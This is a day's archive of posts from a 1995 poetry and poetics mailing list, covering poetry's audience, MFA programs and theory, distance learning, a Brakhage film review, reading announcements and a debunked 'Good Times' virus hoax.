Dear tom (and dodie) well I don't see why garden ornaments and the question of the changing history of the audience(s) for the high arts can't be a single subject of discussion. There's an outfit in Auckland which goes around at night covering lawns with lifesize plastic flamingoes. You pay them a fee,or rental; finger a loved one with a birthday, anniversary, hangover, or suicidal depression and they will deliver the nasty shock. and those people you describe, tom, they with the interests in music, film, etc who could be interested in poetry, aren't they precisely the people who packed out the Hejinian, Creeley and various groupings of local readers at Alba this year. the audience exists. much of the discussion of audience on this list seems unduly dependent upon questions of book sales, distribution points, numbers of readers, grants and so on. The equally, but for the purposes of my point, more interesting issue is what happens next. who is reading, buying, listening and what are they doing with what they get. The small sales of book X going to a certain kind of 100 readers may well be vastly more consequential as far as the circulation of meanings goes and the large sales of book Y to a certain kind of 100,000 readers. I'd say. When poetry was a lot more popular and successful book X and book Y were often the same book. And, in Browning's case, a railroad timetable to boot. Pretty famingo wystan

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418. **jms**
review of Brakhage films at MOMA
Thu 19 Oct 1995

Stan Brakhage's _Trilogy_ (_We Hold These_; _I Take These Truths_; and _I..._) at the Museum of Modern Art Friday October 13:

In a packed auditorium, people watched splotches of color on a screen. There was no plot to the color. The depth of space in the films was fantastic. Whole worlds of layer on top of layer were created. During the break, the film maker explained that the color was produced by magic marker.

The films were between 12 minutes and 35 minutes long yet
with each film the sense of time disappeared. It was hard to tell how long or short
a particular film was. In fact they all seemed to be about the same length upon reflection
after the event (although the program, of course, confirmed otherwise). I can't figure out
if reflection is sped up or slowed down or recognized to just be the speed of film in these works.

Is pleasure here in the color's fast movement and hypnotic potential or in something else altogether different?

During the films the audience was very quiet except for several coughing and fidgeting children.
I kept thinking of corruption and wondering who would bring their children to such pornography
of image and setting. Later it was obvious that the children were the film maker's and were used
to such imagery. While the children ran around on the stage in front of the crowd, the film maker
spoke of his films as children's art, as self-evident. This bothered me a little because I think the child
argument is sometimes used to trivialize things that look un-polished.

A declaration of independence, an American tradition of self-reliance also filled the film maker's rhetoric.
Also an idea of community seemed to be behind the films; of "we hold."

Is it hubris or just right to name a film I... and have only colors and shapes?

As I watched the abstract splotches of color pass, I kept seeing feet in the images.
I knew the feet were not really there (as in drawn by the film maker). This kept annoying me at first

and I felt like my mind was purposely domesticating the splotches of color so as to save itself the work
of negotiating abstraction. Do I have to put the self into everything, I kept asking myself. Later I just
let the feet come.

The films were a reminder of how much I appreciated the language of abstraction over the language of narrative-demand. They also suddenly made clear to me the reason that I have had so much trouble appreciated abstract art over other forms of abstraction: it doesn't move and thus has trouble illustrating process to me.

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419. James Banton Rolins

Re: Distant Lover

Thu 19 Oct 1995

On Wed, 18 Oct 1995, Burt Kimmelman [redacted] wrote:

> Aldon,
>
> Writing to you from a campus that is high-tech and is going full steam
> ahead in the area of distance learning, I can say that the move to
> dh seems inevitable. but is it good for all subjects and students? the
> emphatic answer is no. and people like is damn well better make the case
> as to why not, asap.
>
Distance learning is most cost effective. The classroom can be as big as you want. No limits. One prof (or a video player or any one or group of other machines) can reach an unlimited number of students. So there are and will be more problems. But then there really are those who just can't get to a campus. That's why some of the leaders in DL are extension centers in places like Utah, Wyoming, Australia... The wide-flung classroom. If you want students with truly differing perspectives, there you are. And then, in our own way, we're doing DL right here. I'm in Taiwan (not Taipei) learning lots by reading the postings to this list. Of course I'm not getting degree credit. Anyway, it's the push for FTEs that worries me. DL builds them oh so quickly.

Bart

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420. **James Banton Rolins**
Re: The Art and Poetry worlds
Thu 19 Oct 1995

On Mon, 16 Oct 1995, eric pape wrote:

> *I take exception to the claim that MFA*
> *programs have "taken poetry from the people."*
> *When did the people have poetry, Bart? Poetry, by definition, is*
> *a highly elite activity. Always has been.*

Hope I haven't taken the above too much out of context, Eric. Don't mean to. Anyway, I'm not sure I can agree that "the people" have never had poetry. As yoiu suggest, inevitably, this discussion must deal with definition, but I don't think I can restrict my definition of poetry enough to agree with your point, especially the idea of poetry being and always having been "a highly elite activity." My definition would insist on including whatever poetry has been widely read in its own time. But then even if we aren't that liberal in what we admit as poetry, I believe the people have had poetry. By the way, by "people" I really just mean those who haven't more than the average formal education in whatever society, culture they're a part of.

Probably, the question for me isn't so much whether poetry has been taken away from the people (not my phrase--sorry I can't remember what article I got it from) but whether parts of it have. More so, I wonder what it may be in Western culture that has rendered the poetry we tend to speak of here on this list so peripheral. (That's to ask, in a sense, how that kind of poetry came to be in the first place.) There are societies, cultures in which very serious "high" poetry is not nearly so peripheral to its society or not peripheral at all. My own experience reminds me of Yemeni poetry, still very much part of an oral tradition, composed (not written) by persons who neither write nor read but still very sophisticated. Some Yemeni poets, by the way, believe that writing down a poem kills it. To be true poetry, it must be alive, changing with each re-recitation.

I'm going on too long, so let me finish by posing another question: Does our fixation with writing everything down, publishing it, studying it, writing about it, getting degrees in it, etc., etc. have anything to do with where poetry is right now in our culture? If culture is at all a form of capital, as suggested by Pierre Bourdieu in _Les Regles de l'art: Genese at structure du champ litteraire_ and earlier works, perhaps it does, especially if poetry has become a capital used to gain and hold social and economic power as he also suggests.

Bart

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421. **Tenney Nathanson**
E.D., dash it all
Thu 19 Oct 1995

> *Date: Mon, 16 Oct 1995 05:06:46 -0400*
> *From: Chris Stroffolino <[redacted]>*
> *Subject: Re: grandma Emily?*
>
> *Tenney--But the rhymes and rhythms ARE there compared to most of the poetry people on this list write (or publish)---even if ironic and "off" and, yes, terrifying (what else is new). And some people--trained in "free verse" or "blank verse" at first find her work offputting for that--and others of course find it somewhat reassuring for that--and the rhymes and rhythm does lend her work a more memorizable quality than much unrhyming work of contemporaries...I don't think the "avant-garde" Dickinson is any more real than the "mainstream" Dickinson--I guess that's the "agenda" behind most of my postings on her....*

Chris--

well right it's odd to just flat out call her "avant-garde" or something. But isn't she, say, a RESOURCE for a contrmporary writer (even a writer on this list) in a way that, say, Longfellow or Tuckermann or Sandberg or let's say Merwin etc. isn't? Just as, say, the insane ballads of Auden can energize contemporary experimental writing (Ashbery's for example)? And back to the WCW strain: does he energize no exciting experimental work (and are we bored w O'Hara now too)?

Tenney

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422. **Tenney Nathanson**
I wanted the details
Thu 19 Oct 1995

> *Date: Tue, 17 Oct 1995 19:57:23 -0400*
> *From: James Sherry <[redacted]>*
> *Subject: Evaluation*
>
> *Ron and Michael and others writing about how to evaluate the situation of the teacher/poet. How do we feel about it? What are its drawbacks? How is Michael expressing his concern in his work, while referred to is not detailed, while a lot of space is devoted to whether it's good or bad....*
>
> *Although this is I admit again a discussion at a "respectful" distance. What do you who addressed these subjects today and previous think about*

> *your writing these messages?*

what I wanted to hear, anyway, was more from Ron about how the ambivalence shows up, specifically, in the poetry (Michael's): something about the pressure doing criticism, or yammering to others about Great Poetry for a living, puts on writing poetry; esp since, having read a bunch of Michael's poetry (though not all) it wasn't immediately apparent to me how this might play out.

Tenney

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423. Kevin Killian
Announcement of reading in SF
Thu 19 Oct 1995

Bob Gluck asked me to post this. It happens on Thursday night in San Francisco, at "The Lab" (16th Street at Capp in the Redstone Building). At 8:00 p.m.

Carla Harryman reading-she is the author of "There Never was a Rose without a Thorn." Then, Harryman sits down and Lyn Hejinian approaches her and interviews her on stage.

8:00 p.m., Thursday October 19, 1995 at the LAB.

Then, Bob is having a reception for Harryman & Hejinian, come one come all to Bob Gluck and Chris Komater's house
4303 20th Street, San Francisco (at Collingwood, in the Castro).

Hooray for them all!

This event sponsored by THE LAB in connection with their ongoing visual art show MILLENNIUM COMING: the NEW DEGENERATE ART, curated by Chris Komater and Michelle Rollman. Catalogue available, edited by Kevin Killian. Reading series curated by Bob Gluck and Camille Roy.

Don't miss this if you are in San Francisco! Gallery hours Wed-Sat, 12-5.

See you all there.

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424. Ron Silliman
Re: The Art and Poetry worlds
Thu 19 Oct 1995

You wrote:
>

>Maria: I kind of agree kind of totally. I know what you describe was true,
>at least, in my case. Can't speak for others. For me, oddly, theory
>courses were a refuge fromthe kind of half-baked pseudo-hipness of
>the workshop mentality here in BR, ie, the cult of the funky Southern
>writer. After listening to other posts, however, I am beginning to
>seriously wonder how common my experience was.
> I think the best bet may be (as someone else requested: unfortunately
>I have moved too quickly through the posts to remember who specifically)
>to require poets to develop other interests, IE, theory, art history,
>information, dance, sculpture, whatever the hell, just not to be so
>narrow.
> Thanks, Eric.
>
When I was a student, 25 years ago, theory played a valuable role in part precisely because it was so utterly Other. It spoke to the activity to my work but seemed all but completely outside the bounds of what was then permissable. At SF State, nobody at all seemed to have heard to Barthes. At Berkeley, just the grad students and junior faculty showed an interest. There was a freedom in that that was, I think, an integral part of the experience itself. Today, now that theory has been so routinized and professionalized within English departments, I suspect that it has to have a very different value and meaning for the students there. So while the level of knowledge and sophistication that one finds in, say, a Steve Evans or a Mark Wallace was not even possible circa 1970, what sets them apart today is not that they know the theory, but rather that they have figured out how to use it creatively. Andrew Ross was literally the first human being I ever met who could do that and it remains a rare experience.

Just to note that these "values" are not static, but as thoroughly contextualized as anything.

Ron Silliman

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425. Dodie Bellamy
theory and the teaching of writing
Thu 19 Oct 1995

Maria Damon wrote:
>
>i've got to say, quite the contrary, in my observation. since most
>literature departments are tending toward "theory" these days, and most
>contemporary theory attacks the tenets of what is generally called "academic
>poetry," those MFA programs that resist theory in favor of practice more
>often uphold --unconsciously, since they believe their values are "timeless"
>--an earlier, outmoded academicism. It's my belief, and i could be wrong,
>that if mfa students read more benjamin and foucault they'd be likely to
>write more adventurously than if they restricted their reading to, say,
>robert lowell and anne sexton.

Even though I'm clearly not against reading theory, from my experience in teaching prose writing workshops I have my doubts about the reading theory having much of a direct connection to students' adverturousness in writing. I've found theory ultimately helpful to me--but as a beginning writer I found blind imitation of things I found "neat" to be the most useful. I did have the priviledged position of living in the incredibly sophisticated writing world of San Francisco, and of learning about experimental writing by being thrown in the middle of a scene I didn't really grasp. It was like going to a foreign country and picking up its language in order to survive vs. studying that language in a classroom. I've had students who were very sophisticated in theory--and who didn't have a clue as to how to apply it to their writing--and who felt very frustrated as a result of this. And then you get the other end of the spectrum, where the writing become some sort of petrie dish for the theory, and the writing is dead--though "moldy" might be a more appropriate term to extend my metaphor. I think that theory has a place in the teaching of writing, but the main focus should be rolling up your shirtsleeves and mucking around in the writing itself.

Dodie Bellamy

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426. John Cayley
Albert Hall
Thu 19 Oct 1995

I was there too (something I'm not sure I'll be mentioning -- in a casual/proud undertone -- to my grandchildren) and have enjoyed both Ken and Cris's

reports. I thought I should dash off some sort of response quickly before I just let it go.

I don't think the explicit aspect of sixties throwback was sufficiently highlighted (despite references to Donavan and Dylan). Two film clips were shown (Ginsburg most prominent) of a famous event in '65 (I'm too 'young' and wasn't in the UK until '69 anyway) at the same venue. Horovitz spoke of 'building on the "energies"' of the more current event for an Festival of International Poetry next July. Whaaat?

And many in the audience were, I think, revenants experiencing flashbacks. (I still can't quite construe the rubric: 'the return of the reforgotten'.) Who were the others? I met few people I recognized from the 'subvoicive' poetry circuits. Average age: thirty something? maybe younger. Certain regions of the audience seemed to consist of older overdressed arts admin, a little uncomfortable in the would-be art-rock-concert atmosphere. I also detected strong contingents of the supposedly burgeoning 'poetry slam', 'open mike' groups -- vocal and cohesive, verging on (middle class white) gang culture. The audience was *white*.

But the 60s film clips gave the lie. There was nothing anarchic, ambiguous, evolving or challenging (I mean in respect of the audience/performer relationship) about this event. The audience was audience. Nobody even drank any absinthe (and this is the 90s).

There *was* a lot of applause. I clapped almost everything (sometimes hating myself for doing so). My biggest disappointment was Douglas Oliver. I too had accorded him the god-like status of difficult memory, but in this context he seemed flat and I don't think this was simply because he was 'just reading'. Denise Riley's set gave the lie to this interpretation. I think my greatest, *unexpected* delight was Kennelly Joyce/Holy Family dinner party piece, already much remarked upon. Cris and Sianed's performance I did much enjoy, and noticed the light responding to vocal dynamics, effectively I thought.

There was a lot of applause, but there were also strong, mixed reactions. As Aaron Williamson gave his truly *phonemenal* (sic) performance, a number of people behind me (I was towards the back of the arena) laughed repeatedly and loudly. I put it down to a 'very-English' unwillingness to engage seriously with the extreme, the radical. I guess that, generally, the organizers intended to re-radicalize our notion of poetry/language arts. I believe that the event may have altered or undermined relatively fixed notions of poetry in the minds of a small portion of the (unconverted) audience, but just as many of them will have gone away 'put-off' by the more extreme alternatives. I have one good neighbour, a serious, open-minded, sometime reader of poetry (a reader! a reader! one who don't write!) -- though not so much of 'innovative poetics' -- who just found the whole thing negative-extraordinary. Couldn't understand my unwillingness to

take it apart -- I want/wanted to love it so much. (Why? Partly because it was not, and pointedly not, Heaney, NewGen, Nobel and Co., blessed be their spade-like pens and dynamite diction.)

And the audience did, generally, like the two performers, Dunn and Macartney, who I thought really sucked the big one, so I guess I'll have to go on reading Kipling's 'If' and try to stay cool.

I gathered from Howard Marks introductory remarks that he was a big *soft* drug-dealer ('the good weed' as he put it), recently released from jail. Counter-culter in deed. His introductions were measured and excellent (strong contrast with Moorcock). He spoke to the question of poetry's influence in stimulating creative engagement and, if he was sincere, this was a great tribute to the eclectic group he introduced.

But 'build on these energies' -- I fear it would be like trying to build on a tangled heap of disparate threads.

- - - - - -
John Cayley Wellsweep Press [in Chinese HZ:]
^ fine, innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
1995 URLs: http://www.inforamp.net/~cayley [= home]
+ /wshome.html [= Wellsweep]
+ /inhome.html [= Indra's Net]
- - - - - -

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427. **B. Cassidy**
Re: Virus Alert
Thu 19 Oct 1995

Ken and those on the list who don't already know --

The "Good Times"virus is a hoax. Viruses (at least at the present time) can't be sent through an e-mail. The message that Kenneth forwarded is itself the virus in that has spread like an evil strain of the flu to every corner of the internet over the last year. The disease it spreads is paranoia. ;) Clever, eh?

--Brian

On Wed, 18 Oct 1995, Kenneth Goldsmith wrote:

> *This warning came to me from someone who usually knows what he's talking about..Better safe than sorry...*
> *--kennyg*

> *There is a computer virus that is being sent across the Internet. If you receive an e-mail message with the subject line "Good Times", DO NOT read the message, DELETE it immediately. Please read the messages below. Some miscreant is sending e-mail under the subject title "good times" nation-wide.*
>
> *If you get anything like this, DON'T DOWN LOAD THE FILE! It has a virus that rewrites your hard drive, obliterating anything on it. Please be careful and forward this mail to anyone you care about.*
>
> *==========*
> *Kenneth Goldsmith http://wfmu.org/~kennyg*
> [redacted]

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428. **CAROLYN L. FORCHE-MATTISON**
Re: Distant Lover
Thu 19 Oct 1995

On Wed, 18 Oct 1995, Joe Amato wrote:

> aldon, great response on the ab/uses of distance learning!... i'd love to
> see a copy of your speech, even a draft... any way to upload it?...
> alternately, be happy to send along an sase w/plenty of postage...
>
> joe
>

Aldon, I, too, would very much like to read your speech, and would also send an sase if it's possible. I have many thoughts on DL, and will post soon. -- Carolyn

↑ Index

429. **Burt Kimmelman**
Re: Distant Lover
Thu 19 Oct 1995

bart,

i'm not against distance learning; it's just that i see a role for the good ole flesh and blood pressing of the flesh school of teaching too, in some cases. it would be ludicrous for me to descry dl when in fact i am communicating to you and

(and others simultaneoously) via a distance learning medium at this very moment of my writing.

burt

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430. **James Banton Rolins**
Re: Distant Lover
Thu 19 Oct 1995

Burt,

Perhaps the kind of thing we're doing here could somehow be used in an enlightened approach to dl. One of my main reservations concerning dl, as I have observed it, has been the tendency among instructors to "can" lectures and more-or-less read them over the air. I suppose this comes from a sense of not really being able to communicate with those distant students. It can be quite unsettling to feel that you'll never really meet someone you're supposed to be teaching, so much so that retreating behind a text, a book or a lecture, can be too tempting.

Bart

↑ Index

431. **Joe Amato**
distanced learning...
Thu 19 Oct 1995

---

well let me relate a little story about distance learning, something that went down this semester here at illinois institute of technology... by way of trying to suggest how such technology is generally being conceived during these dire economic times by educational admin. types... and please note that i've always been a proponent of using technologies to help, even reform teaching wherever possible... that surely dl has a role in reaching hard-to-reach locations... but that it's entirely problematic, methinks, as currently construed/utilized... because when it comes to teaching, there's a difference twixt, say, *this* technology---email---and projected images, even with little voice-feedback boxes... that in fact one of the reasons linking classrooms through email dialogue hasn't caught on as rapidly is precisely BECAUSE one needs must alter one's pedagogical stance to accommodate same, interactively speaking... whereas the projection of instructor images through spacetime is bound to be centered on the instructor (what would happen, for example, if the camera attempted to accommodate the other twenty faces in each room?...and how

could this be done, finally, in something like real time?... and what would this mean anyway, learning-wise?)...

i teach in the dept. of humanities here... and we have a satellite campus out in the burbs, a solid thirty mile/forty-five minute hike through traffic due west... and we use part-time adjunct faculty at this latter to teach various humanities courses...

this semester, last minute, one of our adjuncts cancelled for personal reasons... and the first suggestion---the very first---was to use the celebrated iitv system to 'cover' that course... and yours truly was asked to do so...

no thought given to how i teach---i happen to be a proponent of student-centered pedagogies, for example, i happen to believe in many of the tenets of so-called liberatory theories of teaching... in fact, i was informed by the colleague who approached me with this 'solution' that "it's my understanding that we can do everything in an iitv room that we can do in a regular classroom"... just like that, not even the remotest [wink] sign of anxiety regarding such an assertion... no thought given to WHO i was teaching---on the main campus it's mostly undergrads., out in the burbs it's mostly older, returning, part-time students, and this represents a dichotomy of intention, if you will, right from the start...

in short, no thought given... hence i mself refused even to think when i responded to this veiled "command," to wit, NO---I WON'T DO IT, I DON'T TEACH THAT WAY...

didn't go over too well with some folks, needless to say... and i ended up being "tasked," as bureaucrazies like to say, with phoning each of the eight students in the burbs to try to cajole them into coming to the main campus... which not one would... it's a long drive, you understand, and they don't like chicago's south side, ETC.---and yes, there are ALL sorts of issues entailed in this, including suburban fear of urban realities (a racially based fear in so many ways, regardless how seemingly justifiable)...

anyway, i needn't go on here, methinks... the point is that on my campus, a technical campus in the midst of complete restructuring and downsizing---a situation where the first thing to go out the window is a discussion of *learning*---the solution to educators' woes is DISTANCED LEARNING... i passed by a rather large iitv room just the other day, in fact, with the cameras on and TWO STUDENTS watching the solitary instructor go through his little canned routine on (i think it was) statics and dynamics, drawing his little free body diagrams on the board and carefully positioning his body vis-a-vis the camera as he did so, smiling and inflecting with the utmost precision, addressing himself to the two students present as well as to his anonymous viewing classroom 'community,' a fitting image as the lights go out on late 20th.

century 'liberal education,' all for the sake of what our iit admins. call "the bottom line"...

or was it just a dream?...

anyway, you get two
two
two mints
in one...

joe

↑ Index

432. Judy Roitman
Re: Virus Alert
Thu 19 Oct 1995

The Good Times warning is apparently a scam. I first heard about this a year ago through another e-mail group, followed a few weeks later by a long message on the genesis of this particular virtual world myth.

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433. Mark Roberts
AWOL: SCARP launch
Thu 19 Oct 1995

THE AUTHOR MAY BE DEAD BUT NEW ARTS AND WRITING ARE ALIVE AND KICKING

SCARP 27 will be launched at 7.30pm on Wednesday 25 October at Aardvark's Cafe, 86 Kembla Street Wollongong.

********** Australian Writing OnLine is a publicity and distribution service for Australian writers and publishers. For further information please email us at [redacted], write to AWOL PO Box 333 Concord NSW 2137 Australia, phone (02) [redacted] or fax (02) [redacted].

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434. Aldon L. Nielsen
Re: workshop geese
Thu 19 Oct 1995

Dodie -- Do you know of the garden trolls of Britain? I don't know how far back the custom goes, but I've seen some English gardens that have little room left for vegetation among all the trolls etc.

& Others -- Our English department recently dropped all course requirements (except for the intro. on how to look stuff up & document it), BUT added a requirement that all students, including creative writing students, take the same MA exam. But this is because we don't have an MFA (there's a statewide moratorium on new programs) -- Because our MA students all get the same degree, they can go out and apply for the same jobs in the community colleges, high schools, and so forth. That being the case, we thought it a good idea to make sure they knew something about the subject, beyond their own writing, before loosing them on students elsewhere.

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435. **Kevin Killian**

Another important SF writing event

Thu 19 Oct 1995

San Francisco List Servers! Don't forget about this Saturday night!

Small Press Traffic's "Small Press Partners Series" presents Net Work: Experimental Writing on the World Wide Web

Readings and Talks by Loss Pequeño Glazier
poet and director of the Electronic Poetry Center
http://writing.upenn.edu/epc
and Steven Shaviro
author of Doom Patrols
http://dhalgren.english.washington.edu/~steve/doom.html

at New Langton Arts
1246 Folsom Street, San Francisco (between 8th and 9th Streets)
Saturday, October 21 at 8 p.m.
$5 admission

> *Loss Pequeño Glazier, a Tejano native, is Director of the Electronic Poetry Center (EPC) and co-edits RIF/T, an online poetry and poetics journal. He is the author of the online hypertextual poem, "E: Poem for HTML" and the CD-ROM publication "5 Pieces for Sound File." Glazier has published several collections of poetry, including the online chapbook, Electronic Projection Poetries (RIF/T, 1995.) He lives and writes just north of Buffalo, at the edge of Western New York's eroding treeline.*
>
> *Steven Shaviro's Doom Patrols, a theoretical fiction about postmodernism and popular culture, is one of the first books to be published in its entirety on the World Wide Web. Shaviro lives in Seattle, where he is a professor of English and Comparative Literature at the University of Washington. He spends much of his online time exploring text-based object-oriented virtual worlds known as MOOs, particularly LambdaMOO.*

> *Shaviro is also the author of Passion and Excess: Blanchot, Bataille, and Literary Theory (1990) and The Cinematic Body (1993).*

This will be an interesting event beyond a doubt! Come one, come all! This event made possible in part by generous support of the SF Art Commission, the James Irvine Foundation, Grants for the Arts Hotel Tax Fund, the California Arts Council, the Zellerbach Family Fund and Industrial Indemnity. Good for them, and good for Small Press Traffic (and New Langton Arts for letting us host this event in their space).

-Dodie Bellamy
-Director, Chatelaine, Lawn Goose Connoisseur

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436. Burt Kimmelman
Re: Distant Lover
Thu 19 Oct 1995

---

yeah aldon,

could i get a copy of it too?

i'll send sase if you wish.

burt

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437. Burt Kimmelman
Re: Distant Lover
Thu 19 Oct 1995

---

yes bart,

the "canning" of lectures for distance learning--but this may be a temporary state of affairs, MAYBE, caused by all the difficulties attendent on using new technologies. i'm told that, for example, teaching in a "virtual classroom" (real time) medium is so fraught with deadly detailing and coordination that instructors may have only their canned lecture as a stable element in the mix. as for video taping etc.--as you have said, there are plenty of folks who benefit from dl because of their locations and time frames; popping a tape into the vcr to see/hear the lecture when it's convenient, being able to stop and rewind it to check something closely, and so on, can be a great advantage. as for communities, there are all kinds, some electronic (carbon based, as bill gates might say)

[correction (i can't edit lines above this): (silicon based, as bill gates might say),

and other communities that are carbon based (as opposed to silicon based).

just some haphazard and random thoughts . . .

burt

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438. John Geraets
top 10 poems
Thu 19 Oct 1995

---

tom,

must say I'm with Wystan on this one. Half expect someone to come along and york (hmm) most of your team. Strange thing is, given your two teams (terminology's the confusion here), goddam I think the first one'd win. THAT worries me.

When I read things, what is it makes me want to ask how good it is? Probably my DAD. He played for Auckland once--at least, I say him drive that little golf-cart thing with the drinks on it. Felt thirsty.

best, John G

↑ Index

439. Dodie Bellamy
Niedecker and Zukowski
Thu 19 Oct 1995

Since I'm spending six weeks in Milwaukee, last Friday I went to Black Hawk Island with Wisconin's Number One Lorine Niedecker Fan. I saw Lorine's humble cottage where she wrote. When I looked in the window of this shrine, the first thing I saw was an exercise bicycle. I guess the people who bought the land are using it as a storage shed. But there still is a historical landmark sign next to it. And the river is incredible. I also visited Lorine's grave--lovely pink fake roses beside it. And I visited her archives at the local library. When I signed the guest register it was nice to see Jeff Hansen and Elizabeth Burns' names from years ago.

Lorine's Number One fan told me lots of stories about her. He'd even had a drink with the man who dug her grave. He told me that the reason Zukowski didn't marry her was because she wasn't Jewish. So, I was surprised to see her name on the listserve notice of Jewish writers to be written about. Could the

Wisconsin's Number One Niedecker Fan be wrong? I asked someone else on the list about this issue and he wrote to me:

"Now, I don't know about Niedecker. I thought the reason Z rejected LN is that he had found another, wealthier woman called Celia. It was kind of like A Place in the Sun-he rejected the poor, pregnant LN because Celia had money. (At least he didn't take LN to the middle of a lake and drown her like Montgomery Clift does to Shelley Winters in the movie.) But maybe her fan is right, and this American Jewish Writers guy is wrong."

Does anybody have any info on the Niedecker/Zukowski thing?

Dodie Bellamy

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440. Tom Beard
a spoonful of sugar
Thu 19 Oct 1995

> *Perhaps with*
> *the right "gift/hook", we could broaden the audience for contemporary poetry without totally compromising our interest in experiment and challenge.*
>
> *But, when I read the above message, what popped into my*
> *head was Julie Andrews in Mary Poppins, singing, "Just a spoonful of sugar makes the medicine go down."*

Dodie,

This is a valid criticism, and the notion of "gift" or "hook" that prompted some discussion a while ago is a problematic one. What I'm really aiming at is some kind of invitation, some quality that, after a first reading, invites a reader back into the work. When you read through a little magazine, what is it about certain pieces that make you want to come back to them? This will be different for every reader, of course, and radically different for someone who writes experimental poetry compared to someone who rarely reads poetry.

Part of my reason for bringing up this subject is personal: I enjoy poetry, and wish that more of my friends did so too. Occasionally there is a connection - I had a couple of flatmates, a physicist and an accountant, who really flipped when I introduced them to Edwin Morgan's "The First Men on Mercury" and "The Computer's First Christmas Card" - but these moments are all too rare. I'm beginning to wonder how much I really _enjoy_ reading poetry myself - most of what's published in _Sport_ (NZ's leading literary journal) these days is too bland to grab my attention, and although I'm intrigued by the theory of language poetry, I find most of it uninviting.

As for "a spoonful of sugar" ... well, I _like_ sugar :-). But not to the point of blandness. I want something complex and succulent, heady and intense, like a good botrytised Riesling after 10 years in the bottle, rather than something austere and tannic, like a young Cabernet from a cold year. Maybe this _is_ Mary-Poppins-ish, but my interest in linguistically innovative writing doesn't override my response to some vague X-factor (the lyrical? the evocative (of what? for whom?) the magical?) that sends a frisson down my back and leaves me dangling on the poet's hook.

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

441. **Gale Nelson**

Re: Distant Lover

Thu 19 Oct 1995

It seems as though a ground-swell has begun to build, suggesting a collective desire for a "look-see" at the materials related to distance learning. If the materials are in a structure by which it would not be an inconvenience to place them into an electronic envelope, perhaps A.L. would consider sending one such electronic envelope to the list server that supports our Poetics discussion group.

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442. **Tom Beard**

the audience

Thu 19 Oct 1995

> *and those people you describe, tom, they with the interests in music, film, etc who could be interested in poetry, aren't they precisely the people who packed out the Hejinian, Creeley and various groupings of local readers at Alba this year. the audience exists.*

Wystan,

Yes, I was initially encouraged by the turnout at the Creeley reading. But when I talked to some of the people there, they said, "Oh, I've never read any of his poems before, but my lecturer said we should come along". It's great to see that these sorts of readings are introducing people to contemporary poetry, but they

still don't seem to be reaching far beyond the academy. I missed Lyn Hejinian's reading because I didn't hear about it - it didn't seem to have been advertised anywhere apart from in the cafe window, and again, perhaps, within the university.

Similarly, it was wonderful to see _Pavement_ (a local fashion/music/arts/lifestyle mag) do an interview with Robert Creeley, but disappointing to see them playing up the "friend of the Beats" angle. The interviewer showed little signs of actually having _read_ any of Creeley's poetry, and most of the questions were along the lines of "So, tell me about Allen Ginsberg".

> *The small*
> *sales of book X going to a certain kind of 100 readers may well be*
> *vastly more consequential as far as the circulation of meanings goes and*
> *the large sales of book Y to a certain kind of 100,000 readers.*

Very true - it could be said that one attentive, active reader is worth 10 (or even 1000?) passive reader. As I said in my previous post, my main concern is not so much for the _writers_ missing out on a potential audience, but for the _readers_ missing out on the chance to read challenging but rewarding poetry. I don't see any chance of having 100,000 attentive readers of poetry in a country of 3.5 million, but maybe a couple of thousand is possible, and an improvement on 100.

As I've said before (I think), I like the idea of readers taking an active part in the making of a poem. One way to do this is to cut down your readership until there's no-one but other poets and critics left. A more challenging, and, I think, rewarding option is to "entice" readers into your work and have them participate in finding meanings. This way, you have helped a group of people _who would not otherwise do so_ to explore with you the possibilities, ambiguities and limits of language.

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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443. **Jordan Davis**

distant lesson

Thu 19 Oct 1995

Don't ever send a message with the first word : "List",

Anybody have any experience in high-speed distance teaching? Either by videoconferencing or mud/moo/other internet? Text-based stuff might be fun, huh? Since it's all writing anyway, and since this kind of writing is _different_ from other kinds of writing--isn't it?--it might be an interesting thing to teach _as a different discipline_. I'd rather not be paranoid/postmanite/luddite about dl. I'd rather see it as a new niche.

Jordan

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444. cris cheek
Geese and 'trolls'
Thu 19 Oct 1995

Well Aldon there aren't many outright trolls that I'm aware of in the gardens here, but there are strange gnarled little figures out of (whisper it carefully unless you wake thy neighbours) Walt Disney - called garden gnomes. For those without knowledge of such riveting political minutiae it is a fact, celebrated by the self-same, that John Major's father manufactured garden gnomes (after his circus career stalled). In fact Major uses this as an example of his honest hard-working roots. There are gnomes for almost all human pastime equivalents. Many of them wheel little barrows or dig the clod (a little like the god Pan talking that goes on at Findhorn here and at other 'new age' eco centres stateside I should guess). Many gnomes hold fishing rods and sit by ornamental ponds. A curious realisation of the romantic tendency - a locus(t) where Ian Hamilton Finlay and the garden ornament tradition meet anthropomorphical 'fairies at the Bottom of our Garden' extropian Arthur Conan rabbit brio.

love and gnomes
cris

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445. Tom Beard
punctuation & prosody
Thu 19 Oct 1995

Charles Hartman wrote:

> *Those syntactical considerations do have their "prosodic" (in the linguists' sense) correspondences--prose and verse have the same mother, after all--but it remains very tricky to declare any one-to-one correspondence between conventional marks of punctuation and rhythmic characteristics of a passage of language.*

I agree that a 1-1 correspondence between punctuation & rhythm is probably impossible, but there is a loose correspondence, one that can be useful to poets when "scoring" the words to be spoken. And in today's post-grammatical education system (I was taught at school to "use a comma where you'd take a breath" - no mention of clauses etc) the correspondence might be tightening up.

> *It's important, though, to keep in the back of one's mind the history of punctuation, which is one of steady rationalization. Punctuation is by now (by the middle of the 18th century, really) almost wholly the slave of a rationalistic, prose model of language. To punctuate correctly is to demarcate the hypotactic structures of the sentence, distinguishing for instance the restrictive from the nonrestrictive modifier and even the apposition from the parenthesis. The service is to a structure of ideas, not to a structure of sounds.*

I think that rhythm & rhetoric are very tightly interconnected - not surprising given the origins of rhetoric in oratory. As well as the structure of logical argument influencing written punctuation, which we make audible via rhythm & intonation, is it not possible that the rhythms of oratory influenced the structure of rational discourse? Perhaps someone with a better knowledge of linguistic history can clarify this.

